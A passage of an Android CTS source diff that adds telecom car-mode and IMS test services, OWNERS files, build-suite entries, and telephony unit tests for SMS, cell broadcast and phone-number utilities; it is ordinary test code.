+        return mCallCount;
+    }
+
+    public void disconnectCalls() {
+        for (Call call : mCalls) {
+            call.disconnect();
+        }
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallServiceControl.java b/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallServiceControl.java
new file mode 100644
index 0000000..3ec5d83
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallServiceControl.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts.carmodetestapp;
+
+import android.app.Service;
+import android.app.UiModeManager;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.IBinder;
+import android.util.Log;
+
+/**
+ * Control class for the car mode app; allows CTS tests to perform operations using the car mode
+ * test app.
+ */
+public class CtsCarModeInCallServiceControl extends Service {
+    private static final String TAG = CtsCarModeInCallServiceControl.class.getSimpleName();
+    public static final String CONTROL_INTERFACE_ACTION =
+            "android.telecom.cts.carmodetestapp.ACTION_CAR_MODE_CONTROL";
+    public static final ComponentName CONTROL_INTERFACE_COMPONENT =
+            new ComponentName(CtsCarModeInCallServiceControl.class.getPackage().getName(),
+                    CtsCarModeInCallServiceControl.class.getName());
+
+    private final IBinder mCtsControl = new ICtsCarModeInCallServiceControl.Stub() {
+        @Override
+        public boolean isBound() {
+            return CtsCarModeInCallService.isBound();
+        }
+
+        @Override
+        public boolean isUnbound() {
+            return CtsCarModeInCallService.isUnbound();
+        }
+
+        @Override
+        public void reset() {
+            CtsCarModeInCallService.reset();
+            UiModeManager uiModeManager = getSystemService(UiModeManager.class);
+            uiModeManager.disableCarMode(0);
+        }
+
+        @Override
+        public void disconnectCalls() {
+            CtsCarModeInCallService.getInstance().disconnectCalls();
+        }
+
+        @Override
+        public int getCallCount() {
+            return CtsCarModeInCallService.getInstance().getCallCount();
+        }
+
+        @Override
+        public void enableCarMode(int priority) {
+            UiModeManager uiModeManager = getSystemService(UiModeManager.class);
+            uiModeManager.enableCarMode(priority, 0);
+        }
+
+        @Override
+        public void disableCarMode() {
+            UiModeManager uiModeManager = getSystemService(UiModeManager.class);
+            uiModeManager.disableCarMode(0);
+        }
+    };
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        if (CONTROL_INTERFACE_ACTION.equals(intent.getAction())) {
+            Log.d(TAG, "onBind: return control interface.");
+            return mCtsControl;
+        }
+        Log.d(TAG, "onBind: invalid intent.");
+        return null;
+    }
+}
diff --git a/tests/tests/telecom2/OWNERS b/tests/tests/telecom2/OWNERS
new file mode 100644
index 0000000..f4921e0
--- /dev/null
+++ b/tests/tests/telecom2/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 20868
+include ../telephony/OWNERS
diff --git a/tests/tests/telecom3/OWNERS b/tests/tests/telecom3/OWNERS
new file mode 100644
index 0000000..f4921e0
--- /dev/null
+++ b/tests/tests/telecom3/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 20868
+include ../telephony/OWNERS
diff --git a/tests/tests/telephony/OWNERS b/tests/tests/telephony/OWNERS
new file mode 100644
index 0000000..d4ae5d0
--- /dev/null
+++ b/tests/tests/telephony/OWNERS
@@ -0,0 +1,13 @@
+# Bug component: 20868
+amitmahajan@google.com
+fionaxu@google.com
+jackyu@google.com
+rgreenwalt@google.com
+refuhoo@google.com
+jminjie@google.com
+shuoq@google.com
+hallliu@google.com
+tgunn@google.com
+breadley@google.com
+nazaninb@google.com
+sarahchin@google.com
diff --git a/tests/tests/telephony/TestFinancialSmsApp/Android.bp b/tests/tests/telephony/TestFinancialSmsApp/Android.bp
index ac409da..15a82ac 100644
--- a/tests/tests/telephony/TestFinancialSmsApp/Android.bp
+++ b/tests/tests/telephony/TestFinancialSmsApp/Android.bp
@@ -23,5 +23,6 @@
 
     test_suites: [
         "cts",
+        "mts",
     ],
 }
\ No newline at end of file
diff --git a/tests/tests/telephony/TestSmsApp/Android.bp b/tests/tests/telephony/TestSmsApp/Android.bp
index 99f7292..1488d12 100644
--- a/tests/tests/telephony/TestSmsApp/Android.bp
+++ b/tests/tests/telephony/TestSmsApp/Android.bp
@@ -24,5 +24,6 @@
 
     test_suites: [
         "cts",
+        "mts",
     ],
 }
\ No newline at end of file
diff --git a/tests/tests/telephony/TestSmsApp22/Android.bp b/tests/tests/telephony/TestSmsApp22/Android.bp
index 586207f..5bc7338 100644
--- a/tests/tests/telephony/TestSmsApp22/Android.bp
+++ b/tests/tests/telephony/TestSmsApp22/Android.bp
@@ -24,5 +24,6 @@
 
     test_suites: [
         "cts",
+        "mts",
     ],
 }
\ No newline at end of file
diff --git a/tests/tests/telephony/TestSmsRetrieverApp/Android.bp b/tests/tests/telephony/TestSmsRetrieverApp/Android.bp
index 54b2303..2aeb3c9 100644
--- a/tests/tests/telephony/TestSmsRetrieverApp/Android.bp
+++ b/tests/tests/telephony/TestSmsRetrieverApp/Android.bp
@@ -23,5 +23,6 @@
 
     test_suites: [
         "cts",
+        "mts",
     ],
 }
\ No newline at end of file
diff --git a/tests/tests/telephony/current/Android.bp b/tests/tests/telephony/current/Android.bp
index df61ec9..aecae02 100644
--- a/tests/tests/telephony/current/Android.bp
+++ b/tests/tests/telephony/current/Android.bp
@@ -12,13 +12,31 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+filegroup {
+    name: "telephony-cts-ims-common-srcs",
+    srcs: [
+        "src/android/telephony/ims/cts/TestImsService.java",
+        "src/android/telephony/ims/cts/TestRcsFeature.java",
+        "src/android/telephony/ims/cts/TestMmTelFeature.java",
+        "src/android/telephony/ims/cts/TestImsSmsImpl.java",
+        "src/android/telephony/ims/cts/TestImsConfig.java",
+        "src/android/telephony/ims/cts/ImsUtils.java",
+    ],
+    path: "src/",
+}
+
 android_test {
     name: "CtsTelephonyTestCases",
     defaults: ["cts_defaults"],
-    libs: ["telephony-common"] + ["android.test.runner.stubs"] + ["android.test.base.stubs"],
-    // uncomment when b/13250611 is fixed
-    //sdk_version: "current"
+    libs: [
+        "telephony-common",
+        "android.test.runner.stubs",
+        "android.test.base.stubs"
+    ],
+    // uncomment when EuiccService tests do not use hidden APIs (Binder instances)
+    //sdk_version: "test_current",
     static_libs: [
+        "androidx.test.ext.junit",
         "ctstestrunner-axt",
         "hamcrest-library",
         "compatibility-device-util-axt",
@@ -30,14 +48,24 @@
         "EmbmsMiddlewareTestApp/**/I*.aidl",
         "LocationAccessingApp/**/*.java",
         "LocationAccessingApp/**/I*.aidl",
+        "TestExternalImsServiceApp/**/*.java",
+        "TestExternalImsServiceApp/**/I*.aidl",
     ],
     aidl: {
-        local_include_dirs: ["EmbmsMiddlewareTestApp/aidl/"],
+        local_include_dirs: [
+            "EmbmsMiddlewareTestApp/aidl/",
+            "TestExternalImsServiceApp/aidl/",
+        ]
     },
     test_suites: [
         "cts",
         "vts",
+        "mts",
         "general-tests",
     ],
     platform_apis: true,
+    host_required: [
+        "compatibility-host-telephony-preconditions",
+        "cts-tradefed",
+    ],
 }
diff --git a/tests/tests/telephony/current/AndroidManifest.xml b/tests/tests/telephony/current/AndroidManifest.xml
index 129b03d..74b9554 100644
--- a/tests/tests/telephony/current/AndroidManifest.xml
+++ b/tests/tests/telephony/current/AndroidManifest.xml
@@ -139,6 +139,15 @@
             </intent-filter>
         </service>
 
+        <service android:name="android.telephony.ims.cts.TestImsService"
+                 android:directBootAware="true"
+                 android:persistent="true"
+                 android:permission="android.permission.BIND_IMS_SERVICE">
+            <intent-filter>
+                <action android:name="android.telephony.ims.ImsService" />
+            </intent-filter>
+        </service>
+
         <activity android:name="android.telephony.cts.StubDialerActvity">
             <intent-filter>
                 <action android:name="android.intent.action.DIAL" />
diff --git a/tests/tests/telephony/current/AndroidTest.xml b/tests/tests/telephony/current/AndroidTest.xml
index 55f5ddf..64ae177 100644
--- a/tests/tests/telephony/current/AndroidTest.xml
+++ b/tests/tests/telephony/current/AndroidTest.xml
@@ -33,6 +33,7 @@
         <option name="test-file-name" value="TestSmsRetrieverApp.apk"/>
         <option name="test-file-name" value="TestFinancialSmsApp.apk"/>
         <option name="test-file-name" value="LocationAccessingApp.apk"/>
+        <option name="test-file-name" value="TestExternalImsServiceApp.apk"/>
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.telephony.cts" />
diff --git a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp
index 6ea4744..000b499 100644
--- a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp
+++ b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp
@@ -27,6 +27,7 @@
     sdk_version: "test_current",
     test_suites: [
         "cts",
+        "mts",
         "vts",
     ],
 }
diff --git a/tests/tests/telephony/current/LocationAccessingApp/Android.bp b/tests/tests/telephony/current/LocationAccessingApp/Android.bp
index 32b58c3..5604c75 100644
--- a/tests/tests/telephony/current/LocationAccessingApp/Android.bp
+++ b/tests/tests/telephony/current/LocationAccessingApp/Android.bp
@@ -12,5 +12,6 @@
     test_suites: [
         "cts",
         "vts",
+        "mts",
     ],
 }
diff --git a/tests/tests/telephony/current/OWNERS b/tests/tests/telephony/current/OWNERS
deleted file mode 100644
index 7c8e7d8c..0000000
--- a/tests/tests/telephony/current/OWNERS
+++ /dev/null
@@ -1,5 +0,0 @@
-# Bug component: 20868
-rgreenwalt@google.com
-jackyu@google.com
-tgunn@google.com
-amitmahajan@google.com
diff --git a/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp b/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp
new file mode 100644
index 0000000..50c7e92
--- /dev/null
+++ b/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp
@@ -0,0 +1,21 @@
+android_test_helper_app {
+    name: "TestExternalImsServiceApp",
+    defaults: ["cts_defaults"],
+    srcs: [
+        "src/**/*.java",
+        "aidl/**/I*.aidl",
+        ":telephony-cts-ims-common-srcs"
+    ],
+    static_libs: [
+            "compatibility-device-util-axt",
+        ],
+    aidl: {
+        local_include_dirs: ["aidl/"],
+    },
+    sdk_version: "test_current",
+    test_suites: [
+        "cts",
+        "vts",
+        "mts",
+    ]
+}
diff --git a/hostsidetests/stagedinstall/testdata/apk/Bv1.xml b/tests/tests/telephony/current/TestExternalImsServiceApp/AndroidManifest.xml
similarity index 61%
rename from hostsidetests/stagedinstall/testdata/apk/Bv1.xml
rename to tests/tests/telephony/current/TestExternalImsServiceApp/AndroidManifest.xml
index 2a108b9..7062fd4 100644
--- a/hostsidetests/stagedinstall/testdata/apk/Bv1.xml
+++ b/tests/tests/telephony/current/TestExternalImsServiceApp/AndroidManifest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!--
   ~ Copyright (C) 2019 The Android Open Source Project
   ~
@@ -13,20 +14,19 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License
   -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.tests.stagedinstall.testapp.B"
-          android:versionCode="1"
-          android:versionName="1.0" >
+        package="android.telephony.cts.externalimsservice">
 
-
-    <uses-sdk android:minSdkVersion="19" />
-
-    <application android:label="StagedInstall Test App B v1">
-        <activity android:name="com.android.tests.stagedinstall.testapp.MainActivity">
+    <application>
+        <service android:name=".TestExternalImsService"
+                 android:directBootAware="true"
+                 android:persistent="true">
+            <meta-data android:name="override_bind_check" android:value="true" />
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.telephony.ims.ImsService" />
             </intent-filter>
-        </activity>
+        </service>
     </application>
 </manifest>
+
diff --git a/tests/tests/telephony/current/TestExternalImsServiceApp/aidl/android/telephony/cts/externalimsservice/ITestExternalImsService.aidl b/tests/tests/telephony/current/TestExternalImsServiceApp/aidl/android/telephony/cts/externalimsservice/ITestExternalImsService.aidl
new file mode 100644
index 0000000..86c8305
--- /dev/null
+++ b/tests/tests/telephony/current/TestExternalImsServiceApp/aidl/android/telephony/cts/externalimsservice/ITestExternalImsService.aidl
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts.externalimsservice;
+
+import android.telephony.ims.stub.ImsFeatureConfiguration;
+
+/**
+ * Interface for Testing an external ImsService implementation. Since it is not in the same process,
+ * it can not be passed locally.
+ */
+interface ITestExternalImsService {
+    boolean waitForLatchCountdown(int latchIndex);
+    void setFeatureConfig(in ImsFeatureConfiguration f);
+    boolean isRcsFeatureCreated();
+    boolean isMmTelFeatureCreated();
+    void resetState();
+    void updateImsRegistration(int radioTech);
+    void notifyRcsCapabilitiesStatusChanged(int capability);
+    boolean isRcsCapable(int capability, int radioTech);
+    boolean isRcsAvailable(int capability);
+}
diff --git a/tests/tests/telephony/current/TestExternalImsServiceApp/src/android/telephony/cts/externalimsservice/TestExternalImsService.java b/tests/tests/telephony/current/TestExternalImsServiceApp/src/android/telephony/cts/externalimsservice/TestExternalImsService.java
new file mode 100644
index 0000000..1f1c747
--- /dev/null
+++ b/tests/tests/telephony/current/TestExternalImsServiceApp/src/android/telephony/cts/externalimsservice/TestExternalImsService.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts.externalimsservice;
+
+import android.content.Intent;
+import android.os.IBinder;
+import android.telephony.ims.cts.ImsUtils;
+import android.telephony.ims.cts.TestImsService;
+import android.telephony.ims.feature.RcsFeature.RcsImsCapabilities;
+import android.telephony.ims.stub.ImsFeatureConfiguration;
+import android.telephony.ims.stub.ImsRegistrationImplBase;
+import android.util.Log;
+
+/**
+ * A test ImsService that is used for GTS Testing. This package is separate from the main test
+ * package because we need to have two packages available.
+ */
+
+public class TestExternalImsService extends TestImsService {
+    private static final String TAG = "GtsImsTestDeviceImsService";
+    // TODO: Use ImsService.SERVICE_INTERFACE definition when it becomes public.
+    private static final String ACTION_BIND_IMS_SERVICE = "android.telephony.ims.ImsService";
+
+    private final TestFrameworkConnection mBinder = new TestFrameworkConnection();
+
+    // For local access of this Service.
+    public class TestFrameworkConnection extends ITestExternalImsService.Stub {
+        public boolean waitForLatchCountdown(int latchIndex) {
+            return TestExternalImsService.this.waitForLatchCountdown(latchIndex);
+        }
+
+        public void setFeatureConfig(ImsFeatureConfiguration f) {
+            TestExternalImsService.this.setFeatureConfig(f);
+        }
+
+        public boolean isRcsFeatureCreated() {
+            return (getRcsFeature() != null);
+        }
+
+        public boolean isMmTelFeatureCreated() {
+            return (getMmTelFeature() != null);
+        }
+
+        public void resetState() {
+            TestExternalImsService.this.resetState();
+        }
+
+        public void updateImsRegistration(int imsRadioTech) {
+            ImsRegistrationImplBase imsReg = TestExternalImsService.this.getImsRegistration();
+            imsReg.onRegistered(imsRadioTech);
+        }
+
+        public void notifyRcsCapabilitiesStatusChanged(int capability) {
+            RcsImsCapabilities capabilities = new RcsImsCapabilities(capability);
+            getRcsFeature().notifyCapabilitiesStatusChanged(capabilities);
+        }
+
+        public boolean isRcsCapable(int capability, int radioTech) {
+            return getRcsFeature().queryCapabilityConfiguration(capability, radioTech);
+        }
+
+        public boolean isRcsAvailable(int capability) {
+            RcsImsCapabilities capabilityStatus = getRcsFeature().queryCapabilityStatus();
+            return capabilityStatus.isCapable(capability);
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        if (ACTION_BIND_IMS_SERVICE.equals(intent.getAction())) {
+            if (ImsUtils.VDBG) {
+                Log.i(TAG, "onBind-Remote");
+            }
+            return super.onBind(intent);
+        }
+        if (ImsUtils.VDBG) {
+            Log.i(TAG, "onBind-Local");
+        }
+        return mBinder;
+    }
+}
diff --git a/tests/tests/telephony/current/preconditions/Android.bp b/tests/tests/telephony/current/preconditions/Android.bp
index f47fa95..b9119dd 100644
--- a/tests/tests/telephony/current/preconditions/Android.bp
+++ b/tests/tests/telephony/current/preconditions/Android.bp
@@ -27,6 +27,7 @@
     test_suites: [
         "cts",
         "vts",
+        "mts",
         "general-tests",
     ],
 
diff --git a/tests/tests/telephony/current/preconditions/app/Android.bp b/tests/tests/telephony/current/preconditions/app/Android.bp
index 6d840af..b0943d9 100644
--- a/tests/tests/telephony/current/preconditions/app/Android.bp
+++ b/tests/tests/telephony/current/preconditions/app/Android.bp
@@ -27,6 +27,7 @@
     test_suites: [
         "cts",
         "vts",
+        "mts",
         "general-tests",
     ],
     sdk_version: "test_current",
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/AsyncSmsMessageListener.java b/tests/tests/telephony/current/src/android/telephony/cts/AsyncSmsMessageListener.java
new file mode 100644
index 0000000..ca0cee2
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/AsyncSmsMessageListener.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import android.content.Intent;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class AsyncSmsMessageListener {
+
+    private static final AsyncSmsMessageListener sInstance = new AsyncSmsMessageListener();
+
+    public static final AsyncSmsMessageListener getInstance() {
+        return sInstance;
+    }
+
+    private final LinkedBlockingQueue<String> mMessages = new LinkedBlockingQueue<>(1);
+    private final LinkedBlockingQueue<Intent> mSentMessageResults = new LinkedBlockingQueue<>(1);
+    private final LinkedBlockingQueue<Intent> mDeliveredMessageResults =
+            new LinkedBlockingQueue<>(1);
+
+    /**
+     * Offer a SMS message to the queue of SMS messages waiting to be processed.
+     */
+    public void offerSmsMessage(String smsMessage) {
+        mMessages.offer(smsMessage);
+    }
+
+    /**
+     * Wait for timeoutMs for a incoming SMS message to be received and return that SMS message,
+     * or null if the SMS message was not received before the timeout.
+     */
+    public String waitForSmsMessage(int timeoutMs) {
+        try {
+            return mMessages.poll(timeoutMs, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            return null;
+        }
+    }
+
+    public void offerMessageSentIntent(Intent intent) {
+        mSentMessageResults.offer(intent);
+    }
+
+    public Intent waitForMessageSentIntent(int timeoutMs) {
+        try {
+            return mSentMessageResults.poll(timeoutMs, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            return null;
+        }
+    }
+
+    public void offerMessageDeliveredIntent(Intent intent) {
+        mDeliveredMessageResults.offer(intent);
+    }
+
+    public Intent waitForMessageDeliveredIntent(int timeoutMs) {
+        try {
+            return mDeliveredMessageResults.poll(timeoutMs, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            return null;
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastIntentsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastIntentsTest.java
new file mode 100644
index 0000000..c652131
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastIntentsTest.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package android.telephony.cts;
+
+import static junit.framework.Assert.fail;
+
+import android.content.Intent;
+import android.os.UserHandle;
+import android.telephony.CellBroadcastIntents;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Test;
+
+public class CellBroadcastIntentsTest {
+
+    private static final String TEST_ACTION = "test_action";
+
+    @Test
+    public void testGetIntentForBackgroundReceivers() {
+        try {
+            CellBroadcastIntents.sendOrderedBroadcastForBackgroundReceivers(
+                    InstrumentationRegistry.getContext(), UserHandle.ALL, new Intent(TEST_ACTION),
+                    null, null, null, null, 0, null, null);
+        } catch (SecurityException e) {
+            // expected
+            return;
+        }
+        fail();
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java
new file mode 100644
index 0000000..ed17284
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.telephony.CellSignalStrength;
+import android.telephony.SignalStrength;
+
+import org.junit.Test;
+
+/**
+ * Test CellSignalStrength to ensure that valid data is being reported and that invalid data is
+ * not reported.
+ */
+public class CellSignalStrengthTest {
+    private static final String TAG = "CellSignalStrengthTest";
+
+    /** Check whether NUM_SIGNAL_STRENGTH_BINS holds value 5 as required by
+     * {@link SignalStrength#getLevel)} which returns value between 0 and 4. */
+    @Test
+    public void testGetNumSignalStrengthLevels() {
+        assertEquals(5, CellSignalStrength.getNumSignalStrengthLevels());
+    }
+
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
index daf078b..49558d1 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
@@ -31,6 +31,7 @@
 import android.provider.Contacts;
 import android.provider.Contacts.People;
 import android.telephony.PhoneNumberUtils;
+import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
 import android.text.Editable;
 import android.text.Spannable;
@@ -38,12 +39,12 @@
 import android.text.SpannableStringBuilder;
 import android.text.style.TtsSpan;
 
-import java.util.Locale;
-
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 
+import java.util.Locale;
+
 public class PhoneNumberUtilsTest {
     private static final int MIN_MATCH = 7;
 
@@ -92,6 +93,7 @@
                         String.format("+1 (700).555-41NN%c1-2.34 %c%cN", PhoneNumberUtils.WAIT,
                                 PhoneNumberUtils.PAUSE,
                                 PhoneNumberUtils.WAIT)));
+        assertEquals("example", PhoneNumberUtils.getUsernameFromUriNumber("example@example.com"));
     }
 
     @Test
@@ -332,6 +334,18 @@
         // Test isWellFormedSmsAddress
         assertTrue(PhoneNumberUtils.isWellFormedSmsAddress("+17005554141"));
         assertFalse(PhoneNumberUtils.isWellFormedSmsAddress("android"));
+
+        // Test isUriNumber
+        assertTrue(PhoneNumberUtils.isUriNumber("example@example.com"));
+        assertFalse(PhoneNumberUtils.isUriNumber("+18005555555"));
+
+        // Test isVoicemailNumber -- this is closely tied to the SIM so we'll just test some basic
+        // cases
+        assertFalse(PhoneNumberUtils.isVoiceMailNumber(getContext(),
+                SubscriptionManager.getDefaultSubscriptionId(), null));
+        assertFalse(PhoneNumberUtils.isVoiceMailNumber(getContext(),
+                SubscriptionManager.getDefaultSubscriptionId(), ""));
+
     }
 
     @Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsCbMessageTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsCbMessageTest.java
new file mode 100644
index 0000000..6b1ca39
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsCbMessageTest.java
@@ -0,0 +1,232 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package android.telephony.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.ContentValues;
+import android.provider.Telephony;
+import android.telephony.CbGeoUtils;
+import android.telephony.SmsCbCmasInfo;
+import android.telephony.SmsCbEtwsInfo;
+import android.telephony.SmsCbLocation;
+import android.telephony.SmsCbMessage;
+
+import com.android.internal.telephony.gsm.SmsCbConstants;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class SmsCbMessageTest {
+
+    private SmsCbMessage mSmsCbMessage;
+
+    private static final int TEST_MESSAGE_FORMAT = SmsCbMessage.MESSAGE_FORMAT_3GPP2;
+    private static final int TEST_GEO_SCOPE = SmsCbMessage.GEOGRAPHICAL_SCOPE_PLMN_WIDE;
+    private static final int TEST_SERIAL = 1234;
+    private static final String TEST_PLMN = "111222";
+    private static final SmsCbLocation TEST_LOCATION = new SmsCbLocation(TEST_PLMN, -1, -1);
+    private static final int TEST_SERVICE_CATEGORY = 4097;
+    private static final String TEST_LANGUAGE = "en";
+    private static final String TEST_BODY = "test body";
+    private static final int TEST_PRIORITY = 0;
+    private static final int TEST_ETWS_WARNING_TYPE =
+            SmsCbConstants.MESSAGE_ID_ETWS_OTHER_EMERGENCY_TYPE;
+    private static final SmsCbEtwsInfo TEST_ETWS_INFO = new SmsCbEtwsInfo(TEST_ETWS_WARNING_TYPE,
+            false, false, false, null);
+    private static final SmsCbCmasInfo TEST_CMAS_INFO =
+            new SmsCbCmasInfo(SmsCbCmasInfo.CMAS_CLASS_REQUIRED_MONTHLY_TEST,
+                    SmsCbCmasInfo.CMAS_CATEGORY_OTHER,
+                    SmsCbCmasInfo.CMAS_RESPONSE_TYPE_EVACUATE,
+                    SmsCbCmasInfo.CMAS_SEVERITY_UNKNOWN,
+                    SmsCbCmasInfo.CMAS_URGENCY_EXPECTED, SmsCbCmasInfo.CMAS_CERTAINTY_LIKELY);
+
+    private static final int TEST_MAX_WAIT_TIME = 0;
+    private static final List<CbGeoUtils.Geometry> TEST_GEOS = new ArrayList<>();
+    private static final int TEST_RECEIVED_TIME = 11000;
+    private static final int TEST_SLOT = 0;
+    private static final int TEST_SUB_ID = 1;
+
+    @Before
+    public void setUp() {
+        TEST_GEOS.add(new CbGeoUtils.Geometry() {
+            @Override
+            public boolean contains(CbGeoUtils.LatLng p) {
+                return false;
+            }
+        });
+        mSmsCbMessage = new SmsCbMessage(TEST_MESSAGE_FORMAT, TEST_GEO_SCOPE, TEST_SERIAL,
+                TEST_LOCATION, TEST_SERVICE_CATEGORY, TEST_LANGUAGE, TEST_BODY, TEST_PRIORITY,
+                TEST_ETWS_INFO, null, TEST_MAX_WAIT_TIME, TEST_GEOS, TEST_RECEIVED_TIME,
+                TEST_SLOT, TEST_SUB_ID);
+    }
+
+    @Test
+    public void testGeographicalScope() {
+        assertEquals(TEST_GEO_SCOPE, mSmsCbMessage.getGeographicalScope());
+    }
+
+    @Test
+    public void testSerialNumber() {
+        assertEquals(TEST_SERIAL, mSmsCbMessage.getSerialNumber());
+    }
+
+    @Test
+    public void testLocation() {
+        assertEquals(TEST_LOCATION, mSmsCbMessage.getLocation());
+    }
+
+    @Test
+    public void testServiceCategory() {
+        assertEquals(TEST_SERVICE_CATEGORY, mSmsCbMessage.getServiceCategory());
+    }
+
+    @Test
+    public void testLanguage() {
+        assertEquals(TEST_LANGUAGE, mSmsCbMessage.getLanguageCode());
+    }
+
+    @Test
+    public void testBody() {
